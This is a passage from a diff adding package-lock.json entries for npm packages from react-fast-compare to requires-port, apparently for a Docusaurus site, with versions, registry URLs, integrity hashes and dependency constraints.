"sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg==" + }, + "node_modules/react-fast-compare": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/react-fast-compare/-/react-fast-compare-3.2.2.tgz", + "integrity": "sha512-nsO+KSNgo1SbJqJEYRE9ERzo7YtYbou/OqjSQKxV7jcKox7+usiUVZOAC+XnDOABXggQTno0Y1CpVnuWEc1boQ==" + }, + "node_modules/react-helmet-async": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/react-helmet-async/-/react-helmet-async-1.3.0.tgz", + "integrity": "sha512-9jZ57/dAn9t3q6hneQS0wukqC2ENOBgMNVEhb/ZG9ZSxUetzVIw4iAmEU38IaVg3QGYauQPhSeUTuIUtFglWpg==", + "dependencies": { + "@babel/runtime": "^7.12.5", + "invariant": "^2.2.4", + "prop-types": "^15.7.2", + "react-fast-compare": "^3.2.0", + "shallowequal": "^1.1.0" + }, + "peerDependencies": { + "react": "^16.6.0 || ^17.0.0 || ^18.0.0", + "react-dom": "^16.6.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/react-json-view": { + "version": "1.21.3", + "resolved": "https://registry.npmjs.org/react-json-view/-/react-json-view-1.21.3.tgz", + "integrity": "sha512-13p8IREj9/x/Ye4WI/JpjhoIwuzEgUAtgJZNBJckfzJt1qyh24BdTm6UQNGnyTq9dapQdrqvquZTo3dz1X6Cjw==", + "dependencies": { + "flux": "^4.0.1", + "react-base16-styling": "^0.6.0", + "react-lifecycles-compat": "^3.0.4", + "react-textarea-autosize": "^8.3.2" + }, + "peerDependencies": { + "react": "^17.0.0 || ^16.3.0 || ^15.5.4", + "react-dom": "^17.0.0 || ^16.3.0 || ^15.5.4" + } + }, + "node_modules/react-lifecycles-compat": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz", + "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" + }, + "node_modules/react-live": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/react-live/-/react-live-2.2.3.tgz", + "integrity": "sha512-tpKruvfytNETuzO3o1mrQUj180GVrq35IE8F5gH1NJVPt4szYCx83/dOSCOyjgRhhc3gQvl0pQ3k/CjOjwJkKQ==", + "dependencies": { + "buble": "0.19.6", + "core-js": "^2.4.1", + "dom-iterator": "^1.0.0", + "prism-react-renderer": "^1.0.1", + "prop-types": "^15.5.8", + "react-simple-code-editor": "^0.10.0", + "unescape": "^1.0.1" + }, + "engines": { + "node": ">= 0.12.0", + "npm": ">= 2.0.0" + } + }, + "node_modules/react-live/node_modules/core-js": { + "version": "2.6.12", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz", + "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==", + "deprecated": "core-js@<3.23.3 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Some versions have web compatibility issues. Please, upgrade your dependencies to the actual version of core-js.", + "hasInstallScript": true + }, + "node_modules/react-live/node_modules/react": { + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react/-/react-16.14.0.tgz", + "integrity": "sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==", + "peer": true, + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-live/node_modules/react-dom": { + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.14.0.tgz", + "integrity": "sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==", + "peer": true, + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2", + "scheduler": "^0.19.1" + }, + "peerDependencies": { + "react": "^16.14.0" + } + }, + "node_modules/react-live/node_modules/react-simple-code-editor": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/react-simple-code-editor/-/react-simple-code-editor-0.10.0.tgz", + "integrity": "sha512-bL5W5mAxSW6+cLwqqVWY47Silqgy2DKDTR4hDBrLrUqC5BXc29YVx17l2IZk5v36VcDEq1Bszu2oHm1qBwKqBA==", + "peerDependencies": { + "react": "^16.0.0", + "react-dom": "^16.0.0" + } + }, + "node_modules/react-live/node_modules/scheduler": { + "version": "0.19.1", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.19.1.tgz", + "integrity": "sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA==", + "peer": true, + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1" + } + }, + "node_modules/react-loadable": { + "name": "@docusaurus/react-loadable", + "version": "5.5.2", + "resolved": "https://registry.npmjs.org/@docusaurus/react-loadable/-/react-loadable-5.5.2.tgz", + "integrity": "sha512-A3dYjdBGuy0IGT+wyLIGIKLRE+sAk1iNk0f1HjNDysO7u8lhL4N3VEm+FAubmJbAztn94F7MxBTPmnixbiyFdQ==", + "dependencies": { + "@types/react": "*", + "prop-types": "^15.6.2" + }, + "peerDependencies": { + "react": "*" + } + }, + "node_modules/react-loadable-ssr-addon-v5-slorber": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/react-loadable-ssr-addon-v5-slorber/-/react-loadable-ssr-addon-v5-slorber-1.0.1.tgz", + "integrity": "sha512-lq3Lyw1lGku8zUEJPDxsNm1AfYHBrO9Y1+olAYwpUJ2IGFBskM0DMKok97A6LWUpHm+o7IvQBOWu9MLenp9Z+A==", + "dependencies": { + "@babel/runtime": "^7.10.3" + }, + "engines": { + "node": ">=10.13.0" + }, + "peerDependencies": { + "react-loadable": "*", + "webpack": ">=4.41.1 || 5.x" + } + }, + "node_modules/react-router": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-5.3.4.tgz", + "integrity": "sha512-Ys9K+ppnJah3QuaRiLxk+jDWOR1MekYQrlytiXxC1RyfbdsZkS5pvKAzCCr031xHixZwpnsYNT5xysdFHQaYsA==", + "dependencies": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "hoist-non-react-statics": "^3.1.0", + "loose-envify": "^1.3.1", + "path-to-regexp": "^1.7.0", + "prop-types": "^15.6.2", + "react-is": "^16.6.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-router-config": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/react-router-config/-/react-router-config-5.1.1.tgz", + "integrity": "sha512-DuanZjaD8mQp1ppHjgnnUnyOlqYXZVjnov/JzFhjLEwd3Z4dYjMSnqrEzzGThH47vpCOqPPwJM2FtthLeJ8Pbg==", + "dependencies": { + "@babel/runtime": "^7.1.2" + }, + "peerDependencies": { + "react": ">=15", + "react-router": ">=5" + } + }, + "node_modules/react-router-dom": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-5.3.4.tgz", + "integrity": "sha512-m4EqFMHv/Ih4kpcBCONHbkT68KoAeHN4p3lAGoNryfHi0dMy0kCzEZakiKRsvg5wHZ/JLrLW8o8KomWiz/qbYQ==", + "dependencies": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "loose-envify": "^1.3.1", + "prop-types": "^15.6.2", + "react-router": "5.3.4", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-textarea-autosize": { + "version": "8.5.2", + "resolved": "https://registry.npmjs.org/react-textarea-autosize/-/react-textarea-autosize-8.5.2.tgz", + "integrity": "sha512-uOkyjkEl0ByEK21eCJMHDGBAAd/BoFQBawYK5XItjAmCTeSbjxghd8qnt7nzsLYzidjnoObu6M26xts0YGKsGg==", + "dependencies": { + "@babel/runtime": "^7.20.13", + "use-composed-ref": "^1.3.0", + "use-latest": "^1.2.1" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/readable-stream/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==" + }, + "node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/reading-time": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/reading-time/-/reading-time-1.5.0.tgz", + "integrity": "sha512-onYyVhBNr4CmAxFsKS7bz+uTLRakypIe4R+5A824vBSkQy/hB3fZepoVEf8OVAxzLvK+H/jm9TzpI3ETSm64Kg==" + }, + "node_modules/rechoir": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz", + "integrity": "sha512-HFM8rkZ+i3zrV+4LQjwQ0W+ez98pApMGM3HUrN04j3CqzPOzl9nmP15Y8YXNm8QHGv/eacOVEjqhmWpkRV0NAw==", + "dependencies": { + "resolve": "^1.1.6" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/recursive-readdir": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.3.tgz", + "integrity": "sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==", + "dependencies": { + "minimatch": "^3.0.5" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/reflect.getprototypeof": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.3.tgz", + "integrity": "sha512-TTAOZpkJ2YLxl7mVHWrNo3iDMEkYlva/kgFcXndqMgbo/AZUmmavEkdXV+hXtE4P8xdyEKRzalaFqZVuwIk/Nw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "get-intrinsic": "^1.1.1", + "globalthis": "^1.0.3", + "which-builtin-type": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==" + }, + "node_modules/regenerate-unicode-properties": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz", + "integrity": "sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==", + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.0.tgz", + "integrity": "sha512-srw17NI0TUWHuGa5CFGGmhfNIeja30WMBfbslPNhf6JrqQlLN5gcrvig1oqPxiVaXb0oW0XRKtH6Nngs5lKCIA==" + }, + "node_modules/regenerator-transform": { + "version": "0.15.2", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.2.tgz", + "integrity": "sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==", + "dependencies": { + "@babel/runtime": "^7.8.4" + } + }, + "node_modules/regexp-tree": { + "version": "0.1.27", + "resolved": "https://registry.npmjs.org/regexp-tree/-/regexp-tree-0.1.27.tgz", + "integrity": "sha512-iETxpjK6YoRWJG5o6hXLwvjYAoW+FEZn9os0PD/b6AP6xQwsa/Y7lCVgIixBbUPMfhu+i2LtdeAqVTgGlQarfA==", + "dev": true, + "bin": { + "regexp-tree": "bin/regexp-tree" + } + }, + "node_modules/regexp.prototype.flags": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.0.tgz", + "integrity": "sha512-0SutC3pNudRKgquxGoRGIz946MZVHqbNfPjBdxeOhBrdgDKlRoXmYLQN9xRbrR09ZXWeGAdPuif7egofn6v5LA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "functions-have-names": "^1.2.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regexpu-core": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.3.2.tgz", + "integrity": "sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==", + "dependencies": { + "@babel/regjsgen": "^0.8.0", + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.1.0", + "regjsparser": "^0.9.1", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/registry-auth-token": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-4.2.2.tgz", + "integrity": "sha512-PC5ZysNb42zpFME6D/XlIgtNGdTl8bBOCw90xQLVMpzuuubJKYDWFAEuUNc+Cn8Z8724tg2SDhDRrkVEsqfDMg==", + "dependencies": { + "rc": "1.2.8" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/registry-url": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/registry-url/-/registry-url-5.1.0.tgz", + "integrity": "sha512-8acYXXTI0AkQv6RAOjE3vOaIXZkT9wo4LOFbBKYQEEnnMNBpKqdUrI6S4NT0KPIo/WVvJ5tE/X5LF/TQUf0ekw==", + "dependencies": { + "rc": "^1.2.8" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/regjsgen": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.2.tgz", + "integrity": "sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==" + }, + "node_modules/regjsparser": { + "version": "0.9.1", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz", + "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==", + "dependencies": { + "jsesc": "~0.5.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/regjsparser/node_modules/jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==", + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/remark-emoji": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/remark-emoji/-/remark-emoji-2.2.0.tgz", + "integrity": "sha512-P3cj9s5ggsUvWw5fS2uzCHJMGuXYRb0NnZqYlNecewXt8QBU9n5vW3DUUKOhepS8F9CwdMx9B8a3i7pqFWAI5w==", + "dependencies": { + "emoticon": "^3.2.0", + "node-emoji": "^1.10.0", + "unist-util-visit": "^2.0.3" + } + }, + "node_modules/remark-footnotes": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/remark-footnotes/-/remark-footnotes-2.0.0.tgz", + "integrity": "sha512-3Clt8ZMH75Ayjp9q4CorNeyjwIxHFcTkaektplKGl2A1jNGEUey8cKL0ZC5vJwfcD5GFGsNLImLG/NGzWIzoMQ==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-mdx": { + "version": "1.6.22", + "resolved": "https://registry.npmjs.org/remark-mdx/-/remark-mdx-1.6.22.tgz", + "integrity": "sha512-phMHBJgeV76uyFkH4rvzCftLfKCr2RZuF+/gmVcaKrpsihyzmhXjA0BEMDaPTXG5y8qZOKPVo83NAOX01LPnOQ==", + "dependencies": { + "@babel/core": "7.12.9", + "@babel/helper-plugin-utils": "7.10.4", + "@babel/plugin-proposal-object-rest-spread": "7.12.1", + "@babel/plugin-syntax-jsx": "7.12.1", + "@mdx-js/util": "1.6.22", + "is-alphabetical": "1.0.4", + "remark-parse": "8.0.3", + "unified": "9.2.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-mdx/node_modules/@babel/core": { + "version": "7.12.9", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.12.9.tgz", + "integrity": "sha512-gTXYh3M5wb7FRXQy+FErKFAv90BnlOuNn1QkCK2lREoPAjrQCO49+HVSrFoe5uakFAF5eenS75KbO2vQiLrTMQ==", + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/generator": "^7.12.5", + "@babel/helper-module-transforms": "^7.12.1", + "@babel/helpers": "^7.12.5", + "@babel/parser": "^7.12.7", + "@babel/template": "^7.12.7", + "@babel/traverse": "^7.12.9", + "@babel/types": "^7.12.7", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.1", + "json5": "^2.1.2", + "lodash": "^4.17.19", + "resolve": "^1.3.2", + "semver": "^5.4.1", + "source-map": "^0.5.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/remark-mdx/node_modules/@babel/helper-plugin-utils": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.10.4.tgz", + "integrity": "sha512-O4KCvQA6lLiMU9l2eawBPMf1xPP8xPfB3iEQw150hOVTqj/rfXz0ThTb4HEzqQfs2Bmo5Ay8BzxfzVtBrr9dVg==" + }, + "node_modules/remark-mdx/node_modules/@babel/plugin-syntax-jsx": { + "version": "7.12.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.12.1.tgz", + "integrity": "sha512-1yRi7yAtB0ETgxdY9ti/p2TivUxJkTdhu/ZbF9MshVGqOx1TdB3b7xCXs49Fupgg50N45KcAsRP/ZqWjs9SRjg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/remark-mdx/node_modules/is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/remark-mdx/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/remark-mdx/node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/remark-mdx/node_modules/unified": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.0.tgz", + "integrity": "sha512-vx2Z0vY+a3YoTj8+pttM3tiJHCwY5UFbYdiWrwBEbHmK8pvsPj2rtAX2BFfgXen8T39CJWblWRDT4L5WGXtDdg==", + "dependencies": { + "bail": "^1.0.0", + "extend": "^3.0.0", + "is-buffer": "^2.0.0", + "is-plain-obj": "^2.0.0", + "trough": "^1.0.0", + "vfile": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-parse": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-8.0.3.tgz", + "integrity": "sha512-E1K9+QLGgggHxCQtLt++uXltxEprmWzNfg+MxpfHsZlrddKzZ/hZyWHDbK3/Ap8HJQqYJRXP+jHczdL6q6i85Q==", + "dependencies": { + "ccount": "^1.0.0", + "collapse-white-space": "^1.0.2", + "is-alphabetical": "^1.0.0", + "is-decimal": "^1.0.0", + "is-whitespace-character": "^1.0.0", + "is-word-character": "^1.0.0", + "markdown-escapes": "^1.0.0", + "parse-entities": "^2.0.0", + "repeat-string": "^1.5.4", + "state-toggle": "^1.0.0", + "trim": "0.0.1", + "trim-trailing-lines": "^1.0.0", + "unherit": "^1.0.4", + "unist-util-remove-position": "^2.0.0", + "vfile-location": "^3.0.0", + "xtend": "^4.0.1" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-squeeze-paragraphs": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/remark-squeeze-paragraphs/-/remark-squeeze-paragraphs-4.0.0.tgz", + "integrity": "sha512-8qRqmL9F4nuLPIgl92XUuxI3pFxize+F1H0e/W3llTk0UsjJaj01+RrirkMw7P21RKe4X6goQhYRSvNWX+70Rw==", + "dependencies": { + "mdast-squeeze-paragraphs": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/renderkid": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-3.0.0.tgz", + "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==", + "dependencies": { + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^6.0.1" + } + }, + "node_modules/renderkid/node_modules/css-select": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/renderkid/node_modules/dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/renderkid/node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/renderkid/node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/renderkid/node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/renderkid/node_modules/htmlparser2": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + }, + "node_modules/repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==", + "engines": { + "node": ">=0.10" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-like": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/require-like/-/require-like-0.1.2.tgz", + "integrity": "sha512-oyrU88skkMtDdauHDuKVrgR+zuItqr6/c//FXzvmxRGMexSDc6hNvJInGW3LL46n+8b50RykrvwSUIIQH2LQ5A==", + "engines": { + "node": "*" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": 